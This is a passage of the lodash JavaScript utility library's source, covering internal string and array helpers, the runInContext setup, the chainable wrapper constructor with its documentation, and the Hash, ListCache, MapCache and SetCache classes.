  /**
   * Used by `_.trim` and `_.trimEnd` to get the index of the last string symbol
   * that is not found in the character symbols.
   *
   * @private
   * @param {Array} strSymbols The string symbols to inspect.
   * @param {Array} chrSymbols The character symbols to find.
   * @returns {number} Returns the index of the last unmatched string symbol.
   */
  function charsEndIndex(strSymbols, chrSymbols) {
    var index = strSymbols.length;

    while (index-- && baseIndexOf(chrSymbols, strSymbols[index], 0) > -1) {}
    return index;
  }

  /**
   * Gets the number of `placeholder` occurrences in `array`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} placeholder The placeholder to search for.
   * @returns {number} Returns the placeholder count.
   */
  function countHolders(array, placeholder) {
    var length = array.length,
        result = 0;

    while (length--) {
      if (array[length] === placeholder) {
        ++result;
      }
    }
    return result;
  }

  /**
   * Used by `_.deburr` to convert Latin-1 Supplement and Latin Extended-A
   * letters to basic Latin letters.
   *
   * @private
   * @param {string} letter The matched letter to deburr.
   * @returns {string} Returns the deburred letter.
   */
  var deburrLetter = basePropertyOf(deburredLetters);

  /**
   * Used by `_.escape` to convert characters to HTML entities.
   *
   * @private
   * @param {string} chr The matched character to escape.
   * @returns {string} Returns the escaped character.
   */
  var escapeHtmlChar = basePropertyOf(htmlEscapes);

  /**
   * Used by `_.template` to escape characters for inclusion in compiled string literals.
   *
   * @private
   * @param {string} chr The matched character to escape.
   * @returns {string} Returns the escaped character.
   */
  function escapeStringChar(chr) {
    return '\\' + stringEscapes[chr];
  }

  /**
   * Gets the value at `key` of `object`.
   *
   * @private
   * @param {Object} [object] The object to query.
   * @param {string} key The key of the property to get.
   * @returns {*} Returns the property value.
   */
  function getValue(object, key) {
    return object == null ? undefined : object[key];
  }

  /**
   * Checks if `string` contains Unicode symbols.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {boolean} Returns `true` if a symbol is found, else `false`.
   */
  function hasUnicode(string) {
    return reHasUnicode.test(string);
  }

  /**
   * Checks if `string` contains a word composed of Unicode symbols.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {boolean} Returns `true` if a word is found, else `false`.
   */
  function hasUnicodeWord(string) {
    return reHasUnicodeWord.test(string);
  }

  /**
   * Converts `iterator` to an array.
   *
   * @private
   * @param {Object} iterator The iterator to convert.
   * @returns {Array} Returns the converted array.
   */
  function iteratorToArray(iterator) {
    var data,
        result = [];

    while (!(data = iterator.next()).done) {
      result.push(data.value);
    }
    return result;
  }

  /**
   * Converts `map` to its key-value pairs.
   *
   * @private
   * @param {Object} map The map to convert.
   * @returns {Array} Returns the key-value pairs.
   */
  function mapToArray(map) {
    var index = -1,
        result = Array(map.size);

    map.forEach(function(value, key) {
      result[++index] = [key, value];
    });
    return result;
  }

  /**
   * Creates a unary function that invokes `func` with its argument transformed.
   *
   * @private
   * @param {Function} func The function to wrap.
   * @param {Function} transform The argument transform.
   * @returns {Function} Returns the new function.
   */
  function overArg(func, transform) {
    return function(arg) {
      return func(transform(arg));
    };
  }

  /**
   * Replaces all `placeholder` elements in `array` with an internal placeholder
   * and returns an array of their indexes.
   *
   * @private
   * @param {Array} array The array to modify.
   * @param {*} placeholder The placeholder to replace.
   * @returns {Array} Returns the new array of placeholder indexes.
   */
  function replaceHolders(array, placeholder) {
    var index = -1,
        length = array.length,
        resIndex = 0,
        result = [];

    while (++index < length) {
      var value = array[index];
      if (value === placeholder || value === PLACEHOLDER) {
        array[index] = PLACEHOLDER;
        result[resIndex++] = index;
      }
    }
    return result;
  }

  /**
   * Converts `set` to an array of its values.
   *
   * @private
   * @param {Object} set The set to convert.
   * @returns {Array} Returns the values.
   */
  function setToArray(set) {
    var index = -1,
        result = Array(set.size);

    set.forEach(function(value) {
      result[++index] = value;
    });
    return result;
  }

  /**
   * Converts `set` to its value-value pairs.
   *
   * @private
   * @param {Object} set The set to convert.
   * @returns {Array} Returns the value-value pairs.
   */
  function setToPairs(set) {
    var index = -1,
        result = Array(set.size);

    set.forEach(function(value) {
      result[++index] = [value, value];
    });
    return result;
  }

  /**
   * A specialized version of `_.indexOf` which performs strict equality
   * comparisons of values, i.e. `===`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function strictIndexOf(array, value, fromIndex) {
    var index = fromIndex - 1,
        length = array.length;

    while (++index < length) {
      if (array[index] === value) {
        return index;
      }
    }
    return -1;
  }

  /**
   * A specialized version of `_.lastIndexOf` which performs strict equality
   * comparisons of values, i.e. `===`.
   *
   * @private
   * @param {Array} array The array to inspect.
   * @param {*} value The value to search for.
   * @param {number} fromIndex The index to search from.
   * @returns {number} Returns the index of the matched value, else `-1`.
   */
  function strictLastIndexOf(array, value, fromIndex) {
    var index = fromIndex + 1;
    while (index--) {
      if (array[index] === value) {
        return index;
      }
    }
    return index;
  }

  /**
   * Gets the number of symbols in `string`.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {number} Returns the string size.
   */
  function stringSize(string) {
    return hasUnicode(string)
      ? unicodeSize(string)
      : asciiSize(string);
  }

  /**
   * Converts `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function stringToArray(string) {
    return hasUnicode(string)
      ? unicodeToArray(string)
      : asciiToArray(string);
  }

  /**
   * Used by `_.trim` and `_.trimEnd` to get the index of the last non-whitespace
   * character of `string`.
   *
   * @private
   * @param {string} string The string to inspect.
   * @returns {number} Returns the index of the last non-whitespace character.
   */
  function trimmedEndIndex(string) {
    var index = string.length;

    while (index-- && reWhitespace.test(string.charAt(index))) {}
    return index;
  }

  /**
   * Used by `_.unescape` to convert HTML entities to characters.
   *
   * @private
   * @param {string} chr The matched character to unescape.
   * @returns {string} Returns the unescaped character.
   */
  var unescapeHtmlChar = basePropertyOf(htmlUnescapes);

  /**
   * Gets the size of a Unicode `string`.
   *
   * @private
   * @param {string} string The string inspect.
   * @returns {number} Returns the string size.
   */
  function unicodeSize(string) {
    var result = reUnicode.lastIndex = 0;
    while (reUnicode.test(string)) {
      ++result;
    }
    return result;
  }

  /**
   * Converts a Unicode `string` to an array.
   *
   * @private
   * @param {string} string The string to convert.
   * @returns {Array} Returns the converted array.
   */
  function unicodeToArray(string) {
    return string.match(reUnicode) || [];
  }

  /**
   * Splits a Unicode `string` into an array of its words.
   *
   * @private
   * @param {string} The string to inspect.
   * @returns {Array} Returns the words of `string`.
   */
  function unicodeWords(string) {
    return string.match(reUnicodeWord) || [];
  }

  /*--------------------------------------------------------------------------*/

  /**
   * Create a new pristine `lodash` function using the `context` object.
   *
   * @static
   * @memberOf _
   * @since 1.1.0
   * @category Util
   * @param {Object} [context=root] The context object.
   * @returns {Function} Returns a new `lodash` function.
   * @example
   *
   * _.mixin({ 'foo': _.constant('foo') });
   *
   * var lodash = _.runInContext();
   * lodash.mixin({ 'bar': lodash.constant('bar') });
   *
   * _.isFunction(_.foo);
   * // => true
   * _.isFunction(_.bar);
   * // => false
   *
   * lodash.isFunction(lodash.foo);
   * // => false
   * lodash.isFunction(lodash.bar);
   * // => true
   *
   * // Create a suped-up `defer` in Node.js.
   * var defer = _.runInContext({ 'setTimeout': setImmediate }).defer;
   */
  var runInContext = (function runInContext(context) {
    context = context == null ? root : _.defaults(root.Object(), context, _.pick(root, contextProps));

    /** Built-in constructor references. */
    var Array = context.Array,
        Date = context.Date,
        Error = context.Error,
        Function = context.Function,
        Math = context.Math,
        Object = context.Object,
        RegExp = context.RegExp,
        String = context.String,
        TypeError = context.TypeError;

    /** Used for built-in method references. */
    var arrayProto = Array.prototype,
        funcProto = Function.prototype,
        objectProto = Object.prototype;

    /** Used to detect overreaching core-js shims. */
    var coreJsData = context['__core-js_shared__'];

    /** Used to resolve the decompiled source of functions. */
    var funcToString = funcProto.toString;

    /** Used to check objects for own properties. */
    var hasOwnProperty = objectProto.hasOwnProperty;

    /** Used to generate unique IDs. */
    var idCounter = 0;

    /** Used to detect methods masquerading as native. */
    var maskSrcKey = (function() {
      var uid = /[^.]+$/.exec(coreJsData && coreJsData.keys && coreJsData.keys.IE_PROTO || '');
      return uid ? ('Symbol(src)_1.' + uid) : '';
    }());

    /**
     * Used to resolve the
     * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
     * of values.
     */
    var nativeObjectToString = objectProto.toString;

    /** Used to infer the `Object` constructor. */
    var objectCtorString = funcToString.call(Object);

    /** Used to restore the original `_` reference in `_.noConflict`. */
    var oldDash = root._;

    /** Used to detect if a method is native. */
    var reIsNative = RegExp('^' +
      funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&')
      .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$'
    );

    /** Built-in value references. */
    var Buffer = moduleExports ? context.Buffer : undefined,
        Symbol = context.Symbol,
        Uint8Array = context.Uint8Array,
        allocUnsafe = Buffer ? Buffer.allocUnsafe : undefined,
        getPrototype = overArg(Object.getPrototypeOf, Object),
        objectCreate = Object.create,
        propertyIsEnumerable = objectProto.propertyIsEnumerable,
        splice = arrayProto.splice,
        spreadableSymbol = Symbol ? Symbol.isConcatSpreadable : undefined,
        symIterator = Symbol ? Symbol.iterator : undefined,
        symToStringTag = Symbol ? Symbol.toStringTag : undefined;

    var defineProperty = (function() {
      try {
        var func = getNative(Object, 'defineProperty');
        func({}, '', {});
        return func;
      } catch (e) {}
    }());

    /** Mocked built-ins. */
    var ctxClearTimeout = context.clearTimeout !== root.clearTimeout && context.clearTimeout,
        ctxNow = Date && Date.now !== root.Date.now && Date.now,
        ctxSetTimeout = context.setTimeout !== root.setTimeout && context.setTimeout;

    /* Built-in method references for those with the same name as other `lodash` methods. */
    var nativeCeil = Math.ceil,
        nativeFloor = Math.floor,
        nativeGetSymbols = Object.getOwnPropertySymbols,
        nativeIsBuffer = Buffer ? Buffer.isBuffer : undefined,
        nativeIsFinite = context.isFinite,
        nativeJoin = arrayProto.join,
        nativeKeys = overArg(Object.keys, Object),
        nativeMax = Math.max,
        nativeMin = Math.min,
        nativeNow = Date.now,
        nativeParseInt = context.parseInt,
        nativeRandom = Math.random,
        nativeReverse = arrayProto.reverse;

    /* Built-in method references that are verified to be native. */
    var DataView = getNative(context, 'DataView'),
        Map = getNative(context, 'Map'),
        Promise = getNative(context, 'Promise'),
        Set = getNative(context, 'Set'),
        WeakMap = getNative(context, 'WeakMap'),
        nativeCreate = getNative(Object, 'create');

    /** Used to store function metadata. */
    var metaMap = WeakMap && new WeakMap;

    /** Used to lookup unminified function names. */
    var realNames = {};

    /** Used to detect maps, sets, and weakmaps. */
    var dataViewCtorString = toSource(DataView),
        mapCtorString = toSource(Map),
        promiseCtorString = toSource(Promise),
        setCtorString = toSource(Set),
        weakMapCtorString = toSource(WeakMap);

    /** Used to convert symbols to primitives and strings. */
    var symbolProto = Symbol ? Symbol.prototype : undefined,
        symbolValueOf = symbolProto ? symbolProto.valueOf : undefined,
        symbolToString = symbolProto ? symbolProto.toString : undefined;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a `lodash` object which wraps `value` to enable implicit method
     * chain sequences. Methods that operate on and return arrays, collections,
     * and functions can be chained together. Methods that retrieve a single value
     * or may return a primitive value will automatically end the chain sequence
     * and return the unwrapped value. Otherwise, the value must be unwrapped
     * with `_#value`.
     *
     * Explicit chain sequences, which must be unwrapped with `_#value`, may be
     * enabled using `_.chain`.
     *
     * The execution of chained methods is lazy, that is, it's deferred until
     * `_#value` is implicitly or explicitly called.
     *
     * Lazy evaluation allows several methods to support shortcut fusion.
     * Shortcut fusion is an optimization to merge iteratee calls; this avoids
     * the creation of intermediate arrays and can greatly reduce the number of
     * iteratee executions. Sections of a chain sequence qualify for shortcut
     * fusion if the section is applied to an array and iteratees accept only
     * one argument. The heuristic for whether a section qualifies for shortcut
     * fusion is subject to change.
     *
     * Chaining is supported in custom builds as long as the `_#value` method is
     * directly or indirectly included in the build.
     *
     * In addition to lodash methods, wrappers have `Array` and `String` methods.
     *
     * The wrapper `Array` methods are:
     * `concat`, `join`, `pop`, `push`, `shift`, `sort`, `splice`, and `unshift`
     *
     * The wrapper `String` methods are:
     * `replace` and `split`
     *
     * The wrapper methods that support shortcut fusion are:
     * `at`, `compact`, `drop`, `dropRight`, `dropWhile`, `filter`, `find`,
     * `findLast`, `head`, `initial`, `last`, `map`, `reject`, `reverse`, `slice`,
     * `tail`, `take`, `takeRight`, `takeRightWhile`, `takeWhile`, and `toArray`
     *
     * The chainable wrapper methods are:
     * `after`, `ary`, `assign`, `assignIn`, `assignInWith`, `assignWith`, `at`,
     * `before`, `bind`, `bindAll`, `bindKey`, `castArray`, `chain`, `chunk`,
     * `commit`, `compact`, `concat`, `conforms`, `constant`, `countBy`, `create`,
     * `curry`, `debounce`, `defaults`, `defaultsDeep`, `defer`, `delay`,
     * `difference`, `differenceBy`, `differenceWith`, `drop`, `dropRight`,
     * `dropRightWhile`, `dropWhile`, `extend`, `extendWith`, `fill`, `filter`,
     * `flatMap`, `flatMapDeep`, `flatMapDepth`, `flatten`, `flattenDeep`,
     * `flattenDepth`, `flip`, `flow`, `flowRight`, `fromPairs`, `functions`,
     * `functionsIn`, `groupBy`, `initial`, `intersection`, `intersectionBy`,
     * `intersectionWith`, `invert`, `invertBy`, `invokeMap`, `iteratee`, `keyBy`,
     * `keys`, `keysIn`, `map`, `mapKeys`, `mapValues`, `matches`, `matchesProperty`,
     * `memoize`, `merge`, `mergeWith`, `method`, `methodOf`, `mixin`, `negate`,
     * `nthArg`, `omit`, `omitBy`, `once`, `orderBy`, `over`, `overArgs`,
     * `overEvery`, `overSome`, `partial`, `partialRight`, `partition`, `pick`,
     * `pickBy`, `plant`, `property`, `propertyOf`, `pull`, `pullAll`, `pullAllBy`,
     * `pullAllWith`, `pullAt`, `push`, `range`, `rangeRight`, `rearg`, `reject`,
     * `remove`, `rest`, `reverse`, `sampleSize`, `set`, `setWith`, `shuffle`,
     * `slice`, `sort`, `sortBy`, `splice`, `spread`, `tail`, `take`, `takeRight`,
     * `takeRightWhile`, `takeWhile`, `tap`, `throttle`, `thru`, `toArray`,
     * `toPairs`, `toPairsIn`, `toPath`, `toPlainObject`, `transform`, `unary`,
     * `union`, `unionBy`, `unionWith`, `uniq`, `uniqBy`, `uniqWith`, `unset`,
     * `unshift`, `unzip`, `unzipWith`, `update`, `updateWith`, `values`,
     * `valuesIn`, `without`, `wrap`, `xor`, `xorBy`, `xorWith`, `zip`,
     * `zipObject`, `zipObjectDeep`, and `zipWith`
     *
     * The wrapper methods that are **not** chainable by default are:
     * `add`, `attempt`, `camelCase`, `capitalize`, `ceil`, `clamp`, `clone`,
     * `cloneDeep`, `cloneDeepWith`, `cloneWith`, `conformsTo`, `deburr`,
     * `defaultTo`, `divide`, `each`, `eachRight`, `endsWith`, `eq`, `escape`,
     * `escapeRegExp`, `every`, `find`, `findIndex`, `findKey`, `findLast`,
     * `findLastIndex`, `findLastKey`, `first`, `floor`, `forEach`, `forEachRight`,
     * `forIn`, `forInRight`, `forOwn`, `forOwnRight`, `get`, `gt`, `gte`, `has`,
     * `hasIn`, `head`, `identity`, `includes`, `indexOf`, `inRange`, `invoke`,
     * `isArguments`, `isArray`, `isArrayBuffer`, `isArrayLike`, `isArrayLikeObject`,
     * `isBoolean`, `isBuffer`, `isDate`, `isElement`, `isEmpty`, `isEqual`,
     * `isEqualWith`, `isError`, `isFinite`, `isFunction`, `isInteger`, `isLength`,
     * `isMap`, `isMatch`, `isMatchWith`, `isNaN`, `isNative`, `isNil`, `isNull`,
     * `isNumber`, `isObject`, `isObjectLike`, `isPlainObject`, `isRegExp`,
     * `isSafeInteger`, `isSet`, `isString`, `isUndefined`, `isTypedArray`,
     * `isWeakMap`, `isWeakSet`, `join`, `kebabCase`, `last`, `lastIndexOf`,
     * `lowerCase`, `lowerFirst`, `lt`, `lte`, `max`, `maxBy`, `mean`, `meanBy`,
     * `min`, `minBy`, `multiply`, `noConflict`, `noop`, `now`, `nth`, `pad`,
     * `padEnd`, `padStart`, `parseInt`, `pop`, `random`, `reduce`, `reduceRight`,
     * `repeat`, `result`, `round`, `runInContext`, `sample`, `shift`, `size`,
     * `snakeCase`, `some`, `sortedIndex`, `sortedIndexBy`, `sortedLastIndex`,
     * `sortedLastIndexBy`, `startCase`, `startsWith`, `stubArray`, `stubFalse`,
     * `stubObject`, `stubString`, `stubTrue`, `subtract`, `sum`, `sumBy`,
     * `template`, `times`, `toFinite`, `toInteger`, `toJSON`, `toLength`,
     * `toLower`, `toNumber`, `toSafeInteger`, `toString`, `toUpper`, `trim`,
     * `trimEnd`, `trimStart`, `truncate`, `unescape`, `uniqueId`, `upperCase`,
     * `upperFirst`, `value`, and `words`
     *
     * @name _
     * @constructor
     * @category Seq
     * @param {*} value The value to wrap in a `lodash` instance.
     * @returns {Object} Returns the new `lodash` wrapper instance.
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var wrapped = _([1, 2, 3]);
     *
     * // Returns an unwrapped value.
     * wrapped.reduce(_.add);
     * // => 6
     *
     * // Returns a wrapped value.
     * var squares = wrapped.map(square);
     *
     * _.isArray(squares);
     * // => false
     *
     * _.isArray(squares.value());
     * // => true
     */
    function lodash(value) {
      if (isObjectLike(value) && !isArray(value) && !(value instanceof LazyWrapper)) {
        if (value instanceof LodashWrapper) {
          return value;
        }
        if (hasOwnProperty.call(value, '__wrapped__')) {
          return wrapperClone(value);
        }
      }
      return new LodashWrapper(value);
    }

    /**
     * The base implementation of `_.create` without support for assigning
     * properties to the created object.
     *
     * @private
     * @param {Object} proto The object to inherit from.
     * @returns {Object} Returns the new object.
     */
    var baseCreate = (function() {
      function object() {}
      return function(proto) {
        if (!isObject(proto)) {
          return {};
        }
        if (objectCreate) {
          return objectCreate(proto);
        }
        object.prototype = proto;
        var result = new object;
        object.prototype = undefined;
        return result;
      };
    }());

    /**
     * The function whose prototype chain sequence wrappers inherit from.
     *
     * @private
     */
    function baseLodash() {
      // No operation performed.
    }

    /**
     * The base constructor for creating `lodash` wrapper objects.
     *
     * @private
     * @param {*} value The value to wrap.
     * @param {boolean} [chainAll] Enable explicit method chain sequences.
     */
    function LodashWrapper(value, chainAll) {
      this.__wrapped__ = value;
      this.__actions__ = [];
      this.__chain__ = !!chainAll;
      this.__index__ = 0;
      this.__values__ = undefined;
    }

    /**
     * By default, the template delimiters used by lodash are like those in
     * embedded Ruby (ERB) as well as ES2015 template strings. Change the
     * following template settings to use alternative delimiters.
     *
     * @static
     * @memberOf _
     * @type {Object}
     */
    lodash.templateSettings = {

      /**
       * Used to detect `data` property values to be HTML-escaped.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'escape': reEscape,

      /**
       * Used to detect code to be evaluated.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'evaluate': reEvaluate,

      /**
       * Used to detect `data` property values to inject.
       *
       * @memberOf _.templateSettings
       * @type {RegExp}
       */
      'interpolate': reInterpolate,

      /**
       * Used to reference the data object in the template text.
       *
       * @memberOf _.templateSettings
       * @type {string}
       */
      'variable': '',

      /**
       * Used to import variables into the compiled template.
       *
       * @memberOf _.templateSettings
       * @type {Object}
       */
      'imports': {

        /**
         * A reference to the `lodash` function.
         *
         * @memberOf _.templateSettings.imports
         * @type {Function}
         */
        '_': lodash
      }
    };

    // Ensure wrappers are instances of `baseLodash`.
    lodash.prototype = baseLodash.prototype;
    lodash.prototype.constructor = lodash;

    LodashWrapper.prototype = baseCreate(baseLodash.prototype);
    LodashWrapper.prototype.constructor = LodashWrapper;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a lazy wrapper object which wraps `value` to enable lazy evaluation.
     *
     * @private
     * @constructor
     * @param {*} value The value to wrap.
     */
    function LazyWrapper(value) {
      this.__wrapped__ = value;
      this.__actions__ = [];
      this.__dir__ = 1;
      this.__filtered__ = false;
      this.__iteratees__ = [];
      this.__takeCount__ = MAX_ARRAY_LENGTH;
      this.__views__ = [];
    }

    /**
     * Creates a clone of the lazy wrapper object.
     *
     * @private
     * @name clone
     * @memberOf LazyWrapper
     * @returns {Object} Returns the cloned `LazyWrapper` object.
     */
    function lazyClone() {
      var result = new LazyWrapper(this.__wrapped__);
      result.__actions__ = copyArray(this.__actions__);
      result.__dir__ = this.__dir__;
      result.__filtered__ = this.__filtered__;
      result.__iteratees__ = copyArray(this.__iteratees__);
      result.__takeCount__ = this.__takeCount__;
      result.__views__ = copyArray(this.__views__);
      return result;
    }

    /**
     * Reverses the direction of lazy iteration.
     *
     * @private
     * @name reverse
     * @memberOf LazyWrapper
     * @returns {Object} Returns the new reversed `LazyWrapper` object.
     */
    function lazyReverse() {
      if (this.__filtered__) {
        var result = new LazyWrapper(this);
        result.__dir__ = -1;
        result.__filtered__ = true;
      } else {
        result = this.clone();
        result.__dir__ *= -1;
      }
      return result;
    }

    /**
     * Extracts the unwrapped value from its lazy wrapper.
     *
     * @private
     * @name value
     * @memberOf LazyWrapper
     * @returns {*} Returns the unwrapped value.
     */
    function lazyValue() {
      var array = this.__wrapped__.value(),
          dir = this.__dir__,
          isArr = isArray(array),
          isRight = dir < 0,
          arrLength = isArr ? array.length : 0,
          view = getView(0, arrLength, this.__views__),
          start = view.start,
          end = view.end,
          length = end - start,
          index = isRight ? end : (start - 1),
          iteratees = this.__iteratees__,
          iterLength = iteratees.length,
          resIndex = 0,
          takeCount = nativeMin(length, this.__takeCount__);

      if (!isArr || (!isRight && arrLength == length && takeCount == length)) {
        return baseWrapperValue(array, this.__actions__);
      }
      var result = [];

      outer:
      while (length-- && resIndex < takeCount) {
        index += dir;

        var iterIndex = -1,
            value = array[index];

        while (++iterIndex < iterLength) {
          var data = iteratees[iterIndex],
              iteratee = data.iteratee,
              type = data.type,
              computed = iteratee(value);

          if (type == LAZY_MAP_FLAG) {
            value = computed;
          } else if (!computed) {
            if (type == LAZY_FILTER_FLAG) {
              continue outer;
            } else {
              break outer;
            }
          }
        }
        result[resIndex++] = value;
      }
      return result;
    }

    // Ensure `LazyWrapper` is an instance of `baseLodash`.
    LazyWrapper.prototype = baseCreate(baseLodash.prototype);
    LazyWrapper.prototype.constructor = LazyWrapper;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a hash object.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function Hash(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the hash.
     *
     * @private
     * @name clear
     * @memberOf Hash
     */
    function hashClear() {
      this.__data__ = nativeCreate ? nativeCreate(null) : {};
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the hash.
     *
     * @private
     * @name delete
     * @memberOf Hash
     * @param {Object} hash The hash to modify.
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function hashDelete(key) {
      var result = this.has(key) && delete this.__data__[key];
      this.size -= result ? 1 : 0;
      return result;
    }

    /**
     * Gets the hash value for `key`.
     *
     * @private
     * @name get
     * @memberOf Hash
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function hashGet(key) {
      var data = this.__data__;
      if (nativeCreate) {
        var result = data[key];
        return result === HASH_UNDEFINED ? undefined : result;
      }
      return hasOwnProperty.call(data, key) ? data[key] : undefined;
    }

    /**
     * Checks if a hash value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf Hash
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function hashHas(key) {
      var data = this.__data__;
      return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key);
    }

    /**
     * Sets the hash `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf Hash
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the hash instance.
     */
    function hashSet(key, value) {
      var data = this.__data__;
      this.size += this.has(key) ? 0 : 1;
      data[key] = (nativeCreate && value === undefined) ? HASH_UNDEFINED : value;
      return this;
    }

    // Add methods to `Hash`.
    Hash.prototype.clear = hashClear;
    Hash.prototype['delete'] = hashDelete;
    Hash.prototype.get = hashGet;
    Hash.prototype.has = hashHas;
    Hash.prototype.set = hashSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates an list cache object.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function ListCache(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the list cache.
     *
     * @private
     * @name clear
     * @memberOf ListCache
     */
    function listCacheClear() {
      this.__data__ = [];
      this.size = 0;
    }

    /**
     * Removes `key` and its value from the list cache.
     *
     * @private
     * @name delete
     * @memberOf ListCache
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function listCacheDelete(key) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      if (index < 0) {
        return false;
      }
      var lastIndex = data.length - 1;
      if (index == lastIndex) {
        data.pop();
      } else {
        splice.call(data, index, 1);
      }
      --this.size;
      return true;
    }

    /**
     * Gets the list cache value for `key`.
     *
     * @private
     * @name get
     * @memberOf ListCache
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function listCacheGet(key) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      return index < 0 ? undefined : data[index][1];
    }

    /**
     * Checks if a list cache value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf ListCache
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function listCacheHas(key) {
      return assocIndexOf(this.__data__, key) > -1;
    }

    /**
     * Sets the list cache `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf ListCache
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the list cache instance.
     */
    function listCacheSet(key, value) {
      var data = this.__data__,
          index = assocIndexOf(data, key);

      if (index < 0) {
        ++this.size;
        data.push([key, value]);
      } else {
        data[index][1] = value;
      }
      return this;
    }

    // Add methods to `ListCache`.
    ListCache.prototype.clear = listCacheClear;
    ListCache.prototype['delete'] = listCacheDelete;
    ListCache.prototype.get = listCacheGet;
    ListCache.prototype.has = listCacheHas;
    ListCache.prototype.set = listCacheSet;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a map cache object to store key-value pairs.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function MapCache(entries) {
      var index = -1,
          length = entries == null ? 0 : entries.length;

      this.clear();
      while (++index < length) {
        var entry = entries[index];
        this.set(entry[0], entry[1]);
      }
    }

    /**
     * Removes all key-value entries from the map.
     *
     * @private
     * @name clear
     * @memberOf MapCache
     */
    function mapCacheClear() {
      this.size = 0;
      this.__data__ = {
        'hash': new Hash,
        'map': new (Map || ListCache),
        'string': new Hash
      };
    }

    /**
     * Removes `key` and its value from the map.
     *
     * @private
     * @name delete
     * @memberOf MapCache
     * @param {string} key The key of the value to remove.
     * @returns {boolean} Returns `true` if the entry was removed, else `false`.
     */
    function mapCacheDelete(key) {
      var result = getMapData(this, key)['delete'](key);
      this.size -= result ? 1 : 0;
      return result;
    }

    /**
     * Gets the map value for `key`.
     *
     * @private
     * @name get
     * @memberOf MapCache
     * @param {string} key The key of the value to get.
     * @returns {*} Returns the entry value.
     */
    function mapCacheGet(key) {
      return getMapData(this, key).get(key);
    }

    /**
     * Checks if a map value for `key` exists.
     *
     * @private
     * @name has
     * @memberOf MapCache
     * @param {string} key The key of the entry to check.
     * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`.
     */
    function mapCacheHas(key) {
      return getMapData(this, key).has(key);
    }

    /**
     * Sets the map `key` to `value`.
     *
     * @private
     * @name set
     * @memberOf MapCache
     * @param {string} key The key of the value to set.
     * @param {*} value The value to set.
     * @returns {Object} Returns the map cache instance.
     */
    function mapCacheSet(key, value) {
      var data = getMapData(this, key),
          size = data.size;

      data.set(key, value);
      this.size += data.size == size ? 0 : 1;
      return this;
    }

    // Add methods to `MapCache`.
    MapCache.prototype.clear = mapCacheClear;
    MapCache.prototype['delete'] = mapCacheDelete;
    MapCache.prototype.get = mapCacheGet;
    MapCache.prototype.has = mapCacheHas;
    MapCache.prototype.set = mapCacheSet;

    /*------------------------------------------------------------------------*/

    /**
     *
     * Creates an array cache object to store unique values.
     *
     * @private
     * @constructor
     * @param {Array} [values] The values to cache.
     */
    function SetCache(values) {
      var index = -1,
          length = values == null ? 0 : values.length;

      this.__data__ = new MapCache;
      while (++index < length) {
        this.add(values[index]);
      }
    }

    /**
     * Adds `value` to the array cache.
     *
     * @private
     * @name add
     * @memberOf SetCache
     * @alias push
     * @param {*} value The value to cache.
     * @returns {Object} Returns the cache instance.
     */
    function setCacheAdd(value) {
      this.__data__.set(value, HASH_UNDEFINED);
      return this;
    }

    /**
     * Checks if `value` is in the array cache.
     *
     * @private
     * @name has
     * @memberOf SetCache
     * @param {*} value The value to search for.
     * @returns {number} Returns `true` if `value` is found, else `false`.
     */
    function setCacheHas(value) {
      return this.__data__.has(value);
    }

    // Add methods to `SetCache`.
    SetCache.prototype.add = SetCache.prototype.push = setCacheAdd;
    SetCache.prototype.has = setCacheHas;

    /*------------------------------------------------------------------------*/

    /**
     * Creates a stack cache object to store key-value pairs.
     *
     * @private
     * @constructor
     * @param {Array} [entries] The key-value pairs to cache.
     */
    function Stack(entries) {
      var data = this.__data__ = new ListCache(entries);
      this.size = data.size;
    }

    /**
